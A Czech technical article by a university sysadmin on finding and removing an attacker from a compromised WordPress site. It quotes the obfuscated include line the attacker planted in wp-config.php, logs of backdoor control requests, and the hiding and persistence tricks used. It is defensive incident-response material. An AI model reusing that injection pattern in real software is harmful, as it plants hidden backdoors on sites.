Čistění napadeného WordPressu: jak jsem hledal a vyhodil útočníka z webu

root.cz/clanky/cisteni-napadeneho-wordpressu-jak-jsem-hledal-a-vyhodil-utocnika-z-webu

Jan Vondráček

Autor: Depositphotos

Co dělat, když váš WordPress někdo napadne a začne uživatele přesměrovávat na phishinovou stránku? Napadený web lze smazat a znovu nainstalovat nebo zkusit vyčistit. Příběh z praxe, kdy se čistění povedlo.

Hacknutý web

Naše univerzita provozuje velké množství webů a stává se, že administrátoři své aplikace dostatečně neaktualizují. To se stalo i jednomu WordPressu, když mě kontaktoval hlavní redaktor těch stránek a ptal se mě na jejich zvláštní chování. Pokud jste na ty stránky šli přes vyhledávač, byli jste přesměrováni na **phishingové stránky**,

které gratulovaly k výhře iPhonu a snažily se z vás vymámit nějaké údaje. Pokud jste na stránky šli mimo vyhledávač, přímo přes adresu domény, přesměrování se neprojevilo.

První co mi proběhlo hlavou bylo: ó jé, hacknutý WordPress. A druhé: on na takový phishing ještě dnes někdo skočí? Ale asi skočí, jinak by to útočníci nedělali a útok na zranitelný WordPress zvládne i nějaký automat. Jenže co teď s tím, abych kolegům web prostě nezablokoval a nenechal je to smazat a znovu nainstalovat. To mi přišlo jako trochu brutální řešení. Zkusím to **vyčistit** a uvidíme. Sice WordPress neznám a nemám do něj ani přístup, ale nakonec se ukázalo, že to vůbec nevadilo.

Následující článek neberte jako stoprocentní řešení, spíše jako soubor podnětů, které někomu mohou podobnou situaci pomoci vyřešit. Myslím, že jsem měl také velkou dávku štěstí, že hack nešel do webu hlouběji. Zároveň se mi v praxi potvrdilo bezpečnostní pravidlo, provozovat každý web pod samostatným uživatelem, protože operační systém a ostatní weby zasaženy nebyly.

Nové vložené soubory

WordPress je aplikace v PHP, hack bude asi nějaký *includovaný* soubor, říkal jsem si, a zkontroloval data posledních změn u všech souborů. Hele `wp-config.php` byl upravován **včera**, to je divné. Podíval jsem se do souboru a hned na začátku byl vložený *obfuskovaný* JavaScript:

```
@include
/*p*/("/www/xxx/www/wp\x2din\x63ludes/IXR/.767b994b.oti");
```

V celém kódu útočník hodně používá zápis textu pomocí šestnáckové a osmičkové soustavy. Takový text vám napoví, že se jedná o něco nekalého. Ve skutečnosti je v řádku napsáno **wp-includes**. Název

souboru je generovaný a příponu si útočník vymyslel. Soubor je s tečkou na začátku, takže je skrytý.

Takže jsem si na disku našel další podobné soubory a tohle mi vyjelo:

```
 ls -l `locate .oti`
-rw-r--r-- xxx 35096 2023-11-09 01:44 /www/xxx/www/wp-admin/includes/.e19e803f.oti
-rw-r--r-- xxx 34870 2023-11-09 23:01 /www/xxx/www/wp-includes/IXR/.767b994b.oti
-rw-r--r-- xxx 35453 2023-11-08 02:45 /www/xxx/www/wp-includes/PHPMailer/.8ddd8631.oti
```

Přesměrovávací soubor začíná tečkou a má náhodně generovaný název a vymyšlenou příponu. Co takhle zkusit najít všechny soubory začínající tečkou?

```
find /www/xxx/www -name ".*"
```

Bylo jich celkem dost. Je zajímavé kolik neužitečného balastu s sebou WP moduly normálně nesou. Ale mě rovnou do očí uhodily další přípony přesměrovávače: `inc` a `otc`. Všechny nalezené soubory, a hlavně jejich data, jsem si poznamenal do textového souboru a soubory smazal včetně toho přidaného řádku ve `wp-config.php`.

```
rm `locate .oti`
rm `locate .inc`
rm `locate .otc`
```

Teď web jel a už nedělal ta protivná přesměrování. Ale je určitě stále napadený a jak se tam ty soubory dostaly?

Cesta dovnitř

Prohlédl jsem si adresář `PHPMailer` podrobněji a podíval se do všech souborů s příponou `php`, byly celkem čtyři. Soubor `wp-login.php` byl *obfuskovaný*, ten je určitě navíc, útočník si jím udělal **zadní vrátka**.

Takže jsem ještě prohledal celý web a zkontroloval všechny soubory `wp-login.php`, upravené byly jen dva. Pak jsem vzal datum vytvoření souboru `wp-login.php` a znovu prohledal celý adresář webu. Tohle jsem našel:

```
ls -lr * |  grep "2023-11-09"
wp-includes/blocks/site-tagline/sbkrszxm.php
wp-includes/blocks/post-author-name/flylszkn.php
wp-includes/PHPMailer/wp-login.php
wp-includes/blocks/query-title/wp-login.php
```

Nalezených souborů už nebylo tolik, a už se nám z toho rýsuje, jak to napadení funguje. Útočník si nahrál skrz zranitelný plugin soubor, který se na disku dále množí a skrývá se pomocí náhodně generovaných jmen souborů. WordPress si vždy *includuje* všechny PHP soubory v adresáři, útočníkův kód se tak **vždy nahraje** bez ohledu na název souboru. Pak je velmi těžké najít a smazat všechny jeho soubory, které se navíc můžou množit jak králíci. Počkám do druhého dne a podívám se, jaký soubor útočník zavolá.

Vzdálené ovládání

Druhý den byl sice přesměrovávací skript zpátky, ale získal jsem další informace. Odstranil jsem opět ta přesměrování a pomocí času vytvoření souborů získal z logů webového serveru Apache informace o tom, jak útočník web ovládá. Musím uznat, že snaha o stížení detekce je opravdu na vysoké úrovni.

```
185.111.106.78 - - [08/Nov/2023:02:45:48 +0100] "POST /?kCy=CJPz
HTTP/1.1" 200 125868 "http://xxx.upce.cz/" "Mozilla/5.0 (iPhone;
CPU iPhone OS 16_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML,
like Gecko) Version/16.3 Mobile/15E148 Safari/604.1"
131.153.169.202 - - [08/Nov/2023:02:45:50 +0100] "POST /wp-
includes/blocks/site-tagline/sbkrszxm.php HTTP/1.1" 200 9082
"http://xxx.upce.cz/" "Mozilla/5.0 (Macintosh; Intel Mac OS X
10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0
Safari/537.36"
116.203.53.238 - - [08/Nov/2023:02:45:51 +0100] "POST /?haPF=yvWtP
HTTP/1.1" 200 8655 "http://xxx.upce.cz/" "Mozilla/5.0 (iPhone; CPU
iPhone OS 16_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like
Gecko) Version/16.2 Mobile/15E148 Safari/604.1"
184.164.94.74 - - [08/Nov/2023:02:45:53 +0100] "POST /?RjZst=BPd
HTTP/1.1" 200 8577 "http://xxx.upce.cz/" "Mozilla/5.0 (iPhone; CPU
iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like
Gecko) GSA/273.0.547966426 Mobile/15E148 Safari/604.1"
```

Zaprvé si všimněte, že každý dotaz přišel z **jiné IP adresy** a adresa je použita jen jednou. Podle IP nelze útočníka či souvislosti dohledat. Příkazy posílané pomocí *query stringu* jsou také generované a ani podle nich nelze dohledat souvislosti. Ale víme, že řízení webu probíhá jednou denně, vždy v noci. Máme celý den na vlastní zásah. Později jsem zjistil, že i čas přístupu k řízení se měnil.

Nejdříve jsem se domluvil s administrátorem webu, který udělal aktualizaci WordPressu a zapnul automatické aktualizace. Útočník kód samotného WordPressu nenapadal, vždy používal vlastní soubory, které aktualizace nepřemaže. Pak administrátor zkontroloval uživatelské účty a smazal ty přidané útočníkem, stejně jako jeho skripty v cronu WordPressu.

Pak jsem smazal všechny útočníkovy soubory, o kterých jsem věděl a sebral uživateli, pod kterým web běží, práva zápisu (změnil jsem vlastníka souborů). Jestli znovu útočník spustí svůj kód a bude vytvářet nové soubory, projeví se to v **error logu** webového serveru Apache. Počkáme do zítřka a uvidíme.

Další den jsem zjistil, že se to povedlo. V *access logu* je vidět, jak útočník zkoušel volat všechny svoje soubory, když mu nezabral příkaz v *query stringu*. Někde u sebe si tedy musel držet jejich seznam.

```
85.92.70.212 - - [15/Nov/2023:02:50:13 +0100] "POST /?QlYl=urNC
HTTP/1.1" 200 126568 "http://xxx.upce.cz/" "Mozilla/5.0 (Windows
NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/115.0.0.0 Safari/537.36"
210.242.73.33 - - [15/Nov/2023:02:50:17 +0100] "POST /wp-
includes/blocks/navigation-submenu/ftlexzqi.php HTTP/1.0" 404
56048 "http://xxx.upce.cz/" "Mozilla/5.0 (Linux; Android 10; Redmi
8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Mobile
Safari/537.36"
82.163.176.123 - - [15/Nov/2023:02:50:19 +0100] "POST /wp-
includes/PHPMailer/wp-login.php HTTP/1.0" 404 117844
"http://xxx.upce.cz/" "Mozilla/5.0 (Linux; Android 10; Redmi Note
8 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0
Mobile Safari/537.36"
201.248.64.234 - - [15/Nov/2023:02:50:21 +0100] "POST /wp-
includes/blocks/navigation-submenu/madexvcg.php HTTP/1.0" 404
56482 "http://xxx.upce.cz/" "Mozilla/5.0 (iPhone; CPU iPhone OS
16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko)
Version/16.5 Mobile/15E148 Safari/604.1"
108.167.133.35 - - [15/Nov/2023:02:50:24 +0100] "POST /wp-
admin/css/colors/sunrise/qkebiacy.php HTTP/1.0" 200 8930
"http://xxx.upce.cz/" "Mozilla/5.0 (Linux; Android 10; K)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Mobile
Safari/537.36"
108.167.133.35 - - [15/Nov/2023:02:50:25 +0100] "POST /wp-
admin/css/colors/sunrise/qkebiacy.php HTTP/1.1" 200 8958
"http://xxx.upce.cz/" "Mozilla/5.0 (Linux; Android 10; K)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Mobile
Safari/537.36"
2a00:1ed0:55::1:1 - - [15/Nov/2023:02:50:25 +0100] "POST /wp-
content/themes/36nn9r91/cy.js.php HTTP/1.0" 404 101626
"http://xxx.upce.cz/" "Mozilla/5.0 (Linux; Android 11; vivo 2018)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.62 Mobile
Safari/537.36"
192.241.228.126 - - [15/Nov/2023:02:50:27 +0100] "POST /wp-
includes/blocks/separator/cdtxozns.php HTTP/1.0" 200 8503
"http://xxx.upce.cz/" "Mozilla/5.0 (Macintosh; Intel Mac OS X
10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0
Safari/537.36"
68.178.145.241 - - [15/Nov/2023:02:50:29 +0100] "POST /wp-
```

```
includes/blocks/comment-edit-link/ovykefwm.php HTTP/1.0" 200 9021
"http://xxx.upce.cz/" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_1_1
like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko)
Version/16.1 Mobile/15E148 Safari/604.1"
```

Objevil jsem tak další náhodně generované soubory, o kterých jsem zatím nevěděl. Pomocí data jejich vytvoření jsem znovu prohledával disk, ale žádné další jsem už nenašel. Všechny nově objevené soubory jsem mazal.

Teď zbývá pohled do *error logu*. Který soubor nám dělá řízení pomocí *query stringu*? Byl to soubor `qkebiacy.php`, který jsem smazal už v předchozím kroku.

```
[Wed Nov 15 02:50:24.490491 2023] [php7:warn] [pid 5468] [client
108.167.133.35:32458] PHP Warning:
file_put_contents(./9b9b0871d85e4922da611c1024f1cd6d.pl): failed
to open stream: Permission denied in /www/xxx/www/wp-
admin/css/colors/sunrise/qkebiacy.php on line 63, referer:
http://xxx.upce.cz/
[Wed Nov 15 02:50:24.490575 2023] [php7:warn] [pid 5468] [client
108.167.133.35:32458] PHP Warning:
include(./9b9b0871d85e4922da611c1024f1cd6d.pl): failed to open
stream: No such file or directory in /www/xxx/www/wp-
admin/css/colors/sunrise/qkebiacy.php on line 66, referer:
http://xxx.upce.cz/
[Wed Nov 15 02:50:24.490586 2023] [php7:warn] [pid 5468] [client
108.167.133.35:32458] PHP Warning:  include(): Failed opening
'./9b9b0871d85e4922da611c1024f1cd6d.pl' for inclusion
(include_path='.:/usr/share/php') in /www/xxx/www/wp-
admin/css/colors/sunrise/qkebiacy.php on line 66, referer:
http://xxx.upce.cz/
[Wed Nov 15 02:50:24.490618 2023] [php7:warn] [pid 5468] [client
108.167.133.35:32458] PHP Warning:
unlink(./9b9b0871d85e4922da611c1024f1cd6d.pl): No such file or
directory in /www/xxx/www/wp-admin/css/colors/sunrise/qkebiacy.php
on line 66, referer: http://xxx.upce.cz/
[Wed Nov 15 02:50:25.189726 2023] [php7:warn] [pid 5469] [client
108.167.133.35:23912] PHP Warning:
file_put_contents(./9b9b0871d85e4922da611c1024f1cd6d.pl): failed
to open stream: Permission denied in /www/xxx/www/wp-
admin/css/colors/sunrise/qkebiacy.php on line 63, referer:
http://xxx.upce.cz/
[Wed Nov 15 02:50:25.189810 2023] [php7:warn] [pid 5469] [client
108.167.133.35:23912] PHP Warning:
include(./9b9b0871d85e4922da611c1024f1cd6d.pl): failed to open
stream: No such file or directory in /www/xxx/www/wp-
admin/css/colors/sunrise/qkebiacy.php on line 66, referer:
http://xxx.upce.cz/
[Wed Nov 15 02:50:25.189820 2023] [php7:warn] [pid 5469] [client
108.167.133.35:23912] PHP Warning:  include(): Failed opening
'./9b9b0871d85e4922da611c1024f1cd6d.pl' for inclusion
(include_path='.:/usr/share/php') in /www/xxx/www/wp-
admin/css/colors/sunrise/qkebiacy.php on line 66, referer:
```

```
http://xxx.upce.cz/
[Wed Nov 15 02:50:25.189851 2023] [php7:warn] [pid 5469] [client
108.167.133.35:23912] PHP Warning:
unlink(./9b9b0871d85e4922da611c1024f1cd6d.pl): No such file or
directory in /www/xxx/www/wp-admin/css/colors/sunrise/qkebiacy.php
on line 66, referer: http://xxx.upce.cz/
```

No a to je v podstatě vše, tím to skončilo. Už druhý den se útočník ani nesnažil web kontaktovat, snažil se co nejvíce skrýt svou činnost. Ze včerejších chyb poznal, že byl odhalen a odstaven. Zablokovaná práva jsem nechal ještě týden, co kdyby náhodou, a pak jsem práva vrátil, ale vše je stále v pořádku.

Vstoupit do diskuse (137 názorů)

Autor článku

Jan Vondráček

V současné době pracuje jako správce linuxových systémů na Univerzitě Pardubice.

Témata:

WordPress

Už to tu někdo psal, že je bezpečnostní průser, když web může sám sebe modifikovat. Bohužel časy kdy se weby spravovaly a aktualizovaly výhradně přes FTP jsou dávno pryč. Tehdy šlo dát každému webu 2 usery, jeden pro ftp (čtení i zápis) a jeden pro webserver (pouze čtení). Ale jak na to jít dnes, když se všecho dělá

přes web? Aktualizace obsahu, aktualizace frameworku, změny nastavení, instalace pluginů, všechno. To není jen WordPress. Stejně to má i třeba nextcloud. A určitě mnoho dalších. A…

Vladki Stříbrný podporovatel